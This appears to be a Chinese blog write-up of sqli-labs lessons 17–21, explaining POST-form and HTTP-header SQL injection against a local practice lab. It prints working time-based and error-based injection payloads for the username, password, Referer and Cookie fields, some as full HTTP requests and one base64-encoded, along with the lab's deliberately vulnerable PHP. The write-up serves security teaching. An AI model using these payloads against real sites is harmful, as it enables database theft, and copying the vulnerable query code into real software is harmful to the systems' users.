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        <h2 id="0x01-查"><a href="#0x01-查" class="headerlink" title="0x01 查"></a>0x01 查</h2><p>post方式查询其实和之前的get方式注入原理差不太多。</p>
<p>Less-17</p>
<p><img src="https://raw.githubusercontent.com/srat1999/Pictures/master/img/Snipaste_2019-08-06_14-11-23.png" alt></p>
<p>这是一个不回显错误的页面，所以只能基于时间进行盲注。</p>
<p>观察源码对username的处理：</p>
<figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">$uname='"'.$uname.'"';</span><br><span class="line">$passwd='"'.$passwd.'"'; </span><br><span class="line">@$sql="<span class="keyword">SELECT</span> username, <span class="keyword">password</span> <span class="keyword">FROM</span> <span class="keyword">users</span> <span class="keyword">WHERE</span> username=($uname) <span class="keyword">and</span> <span class="keyword">password</span>=($passwd) <span class="keyword">LIMIT</span> <span class="number">0</span>,<span class="number">1</span><span class="string">";</span></span><br></pre></td></tr></table></figure>
<p>黑盒测试则只能一个个尝试猜测闭合符号。</p>
<p>payload：</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">username: admin&quot;) and if(left(database(),1)&gt;&apos;a&apos;,sleep(3),1)#</span><br><span class="line">password: 123</span><br></pre></td></tr></table></figure>
<p>同理可继续爆破其他数据。</p>
<h2 id="0x02-改"><a href="#0x02-改" class="headerlink" title="0x02 改"></a>0x02 改</h2><p><img src="https://raw.githubusercontent.com/srat1999/Pictures/master/img/Snipaste_2019-08-06_14-43-04.png" alt></p>
<p>这里需要修改密码，使用了update。触发报错，发现其用单引号对password闭合。</p>
<p>因此可基于报错注入。</p>
<p>payload如下：</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">username: admin</span><br><span class="line">password: 123&apos; and extractvalue(1,concat(0x7e,(select @@version),0x7e))#</span><br></pre></td></tr></table></figure>
<p><img src="https://raw.githubusercontent.com/srat1999/Pictures/master/img/Snipaste_2019-08-06_14-44-25.png" alt></p>
<p>需要注意在源码里，对uname进行了过滤。看一下这个函数：</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">check_input</span><span class="params">($value)</span></span></span><br><span class="line"><span class="function">	</span>&#123;</span><br><span class="line">	<span class="keyword">if</span>(!<span class="keyword">empty</span>($value))</span><br><span class="line">		&#123;</span><br><span class="line">		<span class="comment">// truncation (see comments)</span></span><br><span class="line">		$value = substr($value,<span class="number">0</span>,<span class="number">15</span>);</span><br><span class="line">		&#125;</span><br><span class="line"></span><br><span class="line">		<span class="comment">// Stripslashes if magic quotes enabled</span></span><br><span class="line">		<span class="keyword">if</span> (get_magic_quotes_gpc())</span><br><span class="line">			&#123;</span><br><span class="line">			$value = stripslashes($value);</span><br><span class="line">			&#125;</span><br><span class="line"></span><br><span class="line">		<span class="comment">// Quote if not a number</span></span><br><span class="line">		<span class="keyword">if</span> (!ctype_digit($value))</span><br><span class="line">			&#123;</span><br><span class="line">			$value = <span class="string">"'"</span> . mysql_real_escape_string($value) . <span class="string">"'"</span>;</span><br><span class="line">			&#125;</span><br><span class="line">	<span class="keyword">else</span></span><br><span class="line">		&#123;</span><br><span class="line">		$value = intval($value);</span><br><span class="line">		&#125;</span><br><span class="line">	<span class="keyword">return</span> $value;</span><br><span class="line">	&#125;</span><br><span class="line"></span><br><span class="line">------------下面调用该函数对uname进行过滤</span><br><span class="line">    <span class="comment">//making sure uname is not injectable</span></span><br><span class="line">	$uname=check_input($_POST[<span class="string">'uname'</span>]);</span><br></pre></td></tr></table></figure>
<ul>
<li><strong>get_magic_quotes_gpc</strong>()  如果 magic_quotes_gpc 为关闭时返回 0，否则返回 1。在 <strong>PHP 5.4.O </strong>起将始终返回 <strong>FALSE</strong>。</li>
<li><strong>ctype_digit</strong>( string <code>$text</code>) : bool 检查text里面是否都是数字。</li>
<li><strong>mysql_real_escape_string</strong>调用mysql库的函数mysql_real_escape_string, 在以下字符前添加反斜杠:<em>\x00</em>, <em>\n</em>,<em>\r</em>, <em>\</em>, <em>‘</em>,<em>“</em> 和 <em>\x1a</em>.————–&gt;防止sql注入</li>
</ul>
<p>此函数用mysql_real_escape_string函数对特殊字符进行转义。</p>
<h2 id="0x03-http头注入"><a href="#0x03-http头注入" class="headerlink" title="0x03 http头注入"></a>0x03 http头注入</h2><h4 id="uagent"><a href="#uagent" class="headerlink" title="uagent"></a>uagent</h4><p>通过源码可以看到：</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">$uname = check_input($_POST[<span class="string">'uname'</span>]);</span><br><span class="line">$passwd = check_input($_POST[<span class="string">'passwd'</span>]);</span><br></pre></td></tr></table></figure>
<p>后台对uname和passwd都进行了过滤。那我们怎么金总注入呢？</p>
<p>看到下面还有一个数据库的交互，即后台将uagent，ip存入到数据库中，并且没有过滤。那么我们也可以利用这个注入点。还要看懂后台的逻辑：</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line">$sql=<span class="string">"SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1"</span>;</span><br><span class="line">	$result1 = mysql_query($sql);</span><br><span class="line">	$row1 = mysql_fetch_array($result1);</span><br><span class="line">		<span class="keyword">if</span>($row1)</span><br><span class="line">			&#123;</span><br><span class="line">			<span class="keyword">echo</span> <span class="string">"test"</span>;</span><br><span class="line">			<span class="keyword">echo</span> <span class="string">'&lt;font color= "#FFFF00" font size = 3 &gt;'</span>;</span><br><span class="line">			$insert=<span class="string">"INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)"</span>;</span><br><span class="line">			mysql_query($insert);</span><br><span class="line">			<span class="keyword">echo</span> <span class="string">'Your IP ADDRESS is: '</span> .$IP;</span><br><span class="line">			<span class="keyword">echo</span> <span class="string">"&lt;/font&gt;"</span>;</span><br><span class="line">			<span class="keyword">echo</span> <span class="string">"&lt;br&gt;"</span>;</span><br><span class="line">			<span class="keyword">echo</span> <span class="string">'&lt;font color= "#0000ff" font size = 3 &gt;'</span>;			</span><br><span class="line">			<span class="keyword">echo</span> <span class="string">'Your User Agent is: '</span> .$uagent;</span><br><span class="line">			<span class="keyword">echo</span> <span class="string">"&lt;/font&gt;"</span>;</span><br><span class="line">			<span class="keyword">echo</span> <span class="string">"&lt;br&gt;"</span>;</span><br><span class="line">			print_r(mysql_error());			</span><br><span class="line">			<span class="keyword">echo</span> <span class="string">"&lt;br&gt;&lt;br&gt;"</span>;</span><br><span class="line">			<span class="keyword">echo</span> <span class="string">'&lt;img src="https://raw.githubusercontent.com/srat1999/Pictures/master/img/flag.jpg"  /&gt;'</span>;</span><br><span class="line">			<span class="keyword">echo</span> <span class="string">"&lt;br&gt;"</span>;</span><br><span class="line">			</span><br><span class="line">			&#125;</span><br></pre></td></tr></table></figure>
<p>即只有我们能够查询出数据，才能看到报错信息。如果进行盲注也需要能够从数据库查到正确的结果。</p>
<p>所以我们使用用户名和密码都是admin1进行查询。</p>
<p><img src="https://raw.githubusercontent.com/srat1999/Pictures/master/img/Snipaste_2019-08-07_14-25-17.png" alt></p>
<p>利用报错注入到版本信息。</p>
<p>这里理所当然想到后台也将ip存入数据库，是否可以通过ip进行注入呢。我们看到后台如何获取ip：</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$IP = $_SERVER[<span class="string">'REMOTE_ADDR'</span>];</span><br></pre></td></tr></table></figure>
<p>通过TCP连接获取源IP，不能通过更改HTTP标头来替代，所以我们不能简单修改http包头来注入。</p>
<h4 id="referer"><a href="#referer" class="headerlink" title="referer"></a>referer</h4><p>同理修改referer字段：</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">POST /sqli-labs/Less-19/ HTTP/1.1</span><br><span class="line">Host: 127.0.0.1</span><br><span class="line">User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0</span><br><span class="line">Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8</span><br><span class="line">Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2</span><br><span class="line">Accept-Encoding: gzip, deflate</span><br><span class="line">Referer: &apos; and updatexml(null,concat(0x7e,(select @@datadir),0x7e),0x7e) and &apos;1&apos;=&apos;1  //写入payload</span><br><span class="line">Content-Type: application/x-www-form-urlencoded</span><br><span class="line">Content-Length: 40</span><br><span class="line">Connection: close</span><br><span class="line">Upgrade-Insecure-Requests: 1</span><br><span class="line"></span><br><span class="line">uname=admin1&amp;passwd=admin1&amp;submit=Submit</span><br></pre></td></tr></table></figure>
<p><img src="https://raw.githubusercontent.com/srat1999/Pictures/master/img/Snipaste_2019-08-07_15-01-58.png" alt></p>
<h4 id="cookie注入"><a href="#cookie注入" class="headerlink" title="cookie注入"></a>cookie注入</h4><p>Less-20</p>
<p>后台通过cookie确认用户信息，只有uname字段，查询过程中并没有过滤：</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span>(!<span class="keyword">isset</span>($_POST[<span class="string">'submit'</span>]))</span><br><span class="line">		&#123;</span><br><span class="line">			</span><br><span class="line">			$cookee = $_COOKIE[<span class="string">'uname'</span>];</span><br><span class="line">			$format = <span class="string">'D d M Y - H:i:s'</span>;</span><br><span class="line">			$timestamp = time() + <span class="number">3600</span>;</span><br><span class="line">			</span><br><span class="line">			--------------</span><br><span class="line">			</span><br><span class="line">			$sql=<span class="string">"SELECT * FROM users WHERE username='$cookee' LIMIT 0,1"</span>;</span><br><span class="line">			$result=mysql_query($sql);</span><br><span class="line">			<span class="keyword">if</span> (!$result)</span><br><span class="line">  				&#123;</span><br><span class="line">  				<span class="keyword">die</span>(<span class="string">'Issue with your mysql: '</span> . mysql_error());</span><br><span class="line">  				&#125;</span><br><span class="line">			$row = mysql_fetch_array($result);</span><br><span class="line">			<span class="keyword">if</span>($row)</span><br><span class="line">				&#123;</span><br><span class="line">			  	<span class="keyword">echo</span> <span class="string">'&lt;font color= "pink" font size="5"&gt;'</span>;	</span><br><span class="line">			  	<span class="keyword">echo</span> <span class="string">'Your Login name:'</span>. $row[<span class="string">'username'</span>];</span><br><span class="line">			  	<span class="keyword">echo</span> <span class="string">"&lt;br&gt;"</span>;</span><br><span class="line">				<span class="keyword">echo</span> <span class="string">'&lt;font color= "grey" font size="5"&gt;'</span>;  	</span><br><span class="line">				<span class="keyword">echo</span> <span class="string">'Your Password:'</span> .$row[<span class="string">'password'</span>];</span><br><span class="line">			  	<span class="keyword">echo</span> <span class="string">"&lt;/font&gt;&lt;/b&gt;"</span>;</span><br><span class="line">				<span class="keyword">echo</span> <span class="string">"&lt;br&gt;"</span>;</span><br><span class="line">				<span class="keyword">echo</span> <span class="string">'Your ID:'</span> .$row[<span class="string">'id'</span>];</span><br><span class="line">			  	&#125;</span><br><span class="line">			<span class="keyword">else</span>	</span><br><span class="line">				&#123;</span><br><span class="line">				<span class="keyword">echo</span> <span class="string">"&lt;center&gt;"</span>;</span><br><span class="line">				<span class="keyword">echo</span> <span class="string">'&lt;br&gt;&lt;br&gt;&lt;br&gt;'</span>;</span><br><span class="line">				<span class="keyword">echo</span> <span class="string">'&lt;img src="https://raw.githubusercontent.com/srat1999/Pictures/master/img/slap1.jpg" /&gt;'</span>;</span><br><span class="line">				<span class="keyword">echo</span> <span class="string">"&lt;br&gt;&lt;br&gt;&lt;b&gt;"</span>;</span><br><span class="line">				<span class="comment">//echo '&lt;img src="https://raw.githubusercontent.com/srat1999/Pictures/master/img/Less-20.jpg" /&gt;';</span></span><br><span class="line">				&#125;</span><br></pre></td></tr></table></figure>
<p>登陆后可以看到我们的cookie：</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">uname：admin1</span><br></pre></td></tr></table></figure>
<p>payload:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">GET /sqli-labs/Less-20/index.php HTTP/1.1</span><br><span class="line">Host: 127.0.0.1</span><br><span class="line">User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0</span><br><span class="line">Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8</span><br><span class="line">Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2</span><br><span class="line">Accept-Encoding: gzip, deflate</span><br><span class="line">Referer: http://127.0.0.1/sqli-labs/Less-20/index.php</span><br><span class="line">Connection: close</span><br><span class="line">Cookie: uname=&apos; and extractvalue(null,concat(0x7e,(select @@version),0x7e)) and &apos;1&apos;=&apos;1</span><br><span class="line">Upgrade-Insecure-Requests: 1</span><br><span class="line">Cache-Control: max-age=0</span><br></pre></td></tr></table></figure>
<p><img src="https://raw.githubusercontent.com/srat1999/Pictures/master/img/Snipaste_2019-08-08_13-49-12.png" alt></p>
<p>爆表名：</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">GET /sqli-labs/Less-20/index.php HTTP/1.1</span><br><span class="line">Host: 127.0.0.1</span><br><span class="line">User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0</span><br><span class="line">Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8</span><br><span class="line">Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2</span><br><span class="line">Accept-Encoding: gzip, deflate</span><br><span class="line">Referer: http://127.0.0.1/sqli-labs/Less-20/index.php</span><br><span class="line">Connection: close</span><br><span class="line">Cookie: uname=&apos; and extractvalue(null,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1))) and &apos;1&apos; and &apos;1</span><br><span class="line">Upgrade-Insecure-Requests: 1</span><br><span class="line">Cache-Control: max-age=0</span><br></pre></td></tr></table></figure>
<p><img src="https://raw.githubusercontent.com/srat1999/Pictures/master/img/Snipaste_2019-08-08_14-03-54.png" alt></p>
<p>其他可以将我们想查的数据填进concat函数内。</p>
<p>Less-21</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$sql=&quot;SELECT * FROM users WHERE username=(&apos;$cookee&apos;)</span><br></pre></td></tr></table></figure>
<p>对参数进行括号处理,还要注意这里cookie进行base64，所以实现对payload进行base64：</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Cookie: uname=JyBhbmQgZXh0cmFjdHZhbHVlKG51bGwsY29uY2F0KDB4N2UsKHNlbGVjdCBAQHZlcnNpb24pLDB4N2UpKSBhbmQgJzEnPScx</span><br></pre></td></tr></table></figure>
<p><img src="https://raw.githubusercontent.com/srat1999/Pictures/master/img/Snipaste_2019-08-08_14-14-06.png" alt></p>

      
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                // only match articles with not empty titles
                if(title != '') {
                  keywords.forEach(function(keyword) {
                    function getIndexByWord(word, text, caseSensitive) {
                      var wordLen = word.length;
                      if (wordLen === 0) {
                        return [];
                      }
                      var startPosition = 0, position = [], index = [];
                      if (!caseSensitive) {
                        text = text.toLowerCase();
                        word = word.toLowerCase();
                      }
                      while ((position = text.indexOf(word, startPosition)) > -1) {
                        index.push({position: position, word: word});
                        startPosition = position + wordLen;
                      }
                      return index;
                    }

                    indexOfTitle = indexOfTitle.concat(getIndexByWord(keyword, titleInLowerCase, false));
                    indexOfContent = indexOfContent.concat(getIndexByWord(keyword, contentInLowerCase, false));
                  });
                  if (indexOfTitle.length > 0 || indexOfContent.length > 0) {
                    isMatch = true;
                    hitCount = indexOfTitle.length + indexOfContent.length;
                  }
                }

                // show search results

                if (isMatch) {
                  // sort index by position of keyword

                  [indexOfTitle, indexOfContent].forEach(function (index) {
                    index.sort(function (itemLeft, itemRight) {
                      if (itemRight.position !== itemLeft.position) {
                        return itemRight.position - itemLeft.position;
                      } else {
                        return itemLeft.word.length - itemRight.word.length;
                      }
                    });
                  });

                  // merge hits into slices

                  function mergeIntoSlice(text, start, end, index) {
                    var item = index[index.length - 1];
                    var position = item.position;
                    var word = item.word;
                    var hits = [];
                    var searchTextCountInSlice = 0;
                    while (position + word.length <= end && index.length != 0) {
                      if (word === searchText) {
                        searchTextCountInSlice++;
                      }
                      hits.push({position: position, length: word.length});
                      var wordEnd = position + word.length;

                      // move to next position of hit

                      index.pop();
                      while (index.length != 0) {
                        item = index[index.length - 1];
                        position = item.position;
                        word = item.word;
                        if (wordEnd > position) {
                          index.pop();
                        } else {
                          break;
                        }
                      }
                    }
                    searchTextCount += searchTextCountInSlice;
                    return {
                      hits: hits,
                      start: start,
                      end: end,
                      searchTextCount: searchTextCountInSlice
                    };
                  }

                  var slicesOfTitle = [];
                  if (indexOfTitle.length != 0) {
                    slicesOfTitle.push(mergeIntoSlice(title, 0, title.length, indexOfTitle));
                  }

                  var slicesOfContent = [];
                  while (indexOfContent.length != 0) {
                    var item = indexOfContent[indexOfContent.length - 1];
                    var position = item.position;
                    var word = item.word;
                    // cut out 100 characters
                    var start = position - 20;
                    var end = position + 80;
                    if(start < 0){
                      start = 0;
                    }
                    if (end < position + word.length) {
                      end = position + word.length;
                    }
                    if(end > content.length){
                      end = content.length;
                    }
                    slicesOfContent.push(mergeIntoSlice(content, start, end, indexOfContent));
                  }

                  // sort slices in content by search text's count and hits' count

                  slicesOfContent.sort(function (sliceLeft, sliceRight) {
                    if (sliceLeft.searchTextCount !== sliceRight.searchTextCount) {
                      return sliceRight.searchTextCount - sliceLeft.searchTextCount;
                    } else if (sliceLeft.hits.length !== sliceRight.hits.length) {
                      return sliceRight.hits.length - sliceLeft.hits.length;
                    } else {
                      return sliceLeft.start - sliceRight.start;
                    }
                  });

                  // select top N slices in content

                  var upperBound = parseInt('1');
                  if (upperBound >= 0) {
                    slicesOfContent = slicesOfContent.slice(0, upperBound);
                  }

                  // highlight title and content

                  function highlightKeyword(text, slice) {
                    var result = '';
                    var prevEnd = slice.start;
                    slice.hits.forEach(function (hit) {
                      result += text.substring(prevEnd, hit.position);
                      var end = hit.position + hit.length;
                      result += '<b class="search-keyword">' + text.substring(hit.position, end) + '</b>';
                      prevEnd = end;
                    });
                    result += text.substring(prevEnd, slice.end);
                    return result;
                  }

                  var resultItem = '';

                  if (slicesOfTitle.length != 0) {
                    resultItem += "<li><a href='" + articleUrl + "' class='search-result-title'>" + highlightKeyword(title, slicesOfTitle[0]) + "</a>";
                  } else {
                    resultItem += "<li><a href='" + articleUrl + "' class='search-result-title'>" + title + "</a>";
                  }

                  slicesOfContent.forEach(function (slice) {
                    resultItem += "<a href='" + articleUrl + "'>" +
                      "<p class=\"search-result\">" + highlightKeyword(content, slice) +
                      "...</p>" + "</a>";
                  });

                  resultItem += "</li>";
                  resultItems.push({
                    item: resultItem,
                    searchTextCount: searchTextCount,
                    hitCount: hitCount,
                    id: resultItems.length
                  });
                }
              })
            };
            if (keywords.length === 1 && keywords[0] === "") {
              resultContent.innerHTML = '<div id="no-result"><i class="fa fa-search fa-5x" /></div>'
            } else if (resultItems.length === 0) {
              resultContent.innerHTML = '<div id="no-result"><i class="fa fa-frown-o fa-5x" /></div>'
            } else {
              resultItems.sort(function (resultLeft, resultRight) {
                if (resultLeft.searchTextCount !== resultRight.searchTextCount) {
                  return resultRight.searchTextCount - resultLeft.searchTextCount;
                } else if (resultLeft.hitCount !== resultRight.hitCount) {
                  return resultRight.hitCount - resultLeft.hitCount;
                } else {
                  return resultRight.id - resultLeft.id;
                }
              });
              var searchResultList = '<ul class=\"search-result-list\">';
              resultItems.forEach(function (result) {
                searchResultList += result.item;
              })
              searchResultList += "</ul>";
              resultContent.innerHTML = searchResultList;
            }
          }

          if ('auto' === 'auto') {
            input.addEventListener('input', inputEventFunction);
          } else {
            $('.search-icon').click(inputEventFunction);
            input.addEventListener('keypress', function (event) {
              if (event.keyCode === 13) {
                inputEventFunction();
              }
            });
          }

          // remove loading animation
          $(".local-search-pop-overlay").remove();
          $('body').css('overflow', '');

          proceedsearch();
        }
      });
    }

    // handle and trigger popup window;
    $('.popup-trigger').click(function(e) {
      e.stopPropagation();
      if (isfetched === false) {
        searchFunc(path, 'local-search-input', 'local-search-result');
      } else {
        proceedsearch();
      };
    });

    $('.popup-btn-close').click(onPopupClose);
    $('.popup').click(function(e){
      e.stopPropagation();
    });
    $(document).on('keyup', function (event) {
      var shouldDismissSearchPopup = event.which === 27 &&
        $('.search-popup').is(':visible');
      if (shouldDismissSearchPopup) {
        onPopupClose();
      }
    });
  </script>





  

  

  

  
  

  

  

  

</body>
</html>
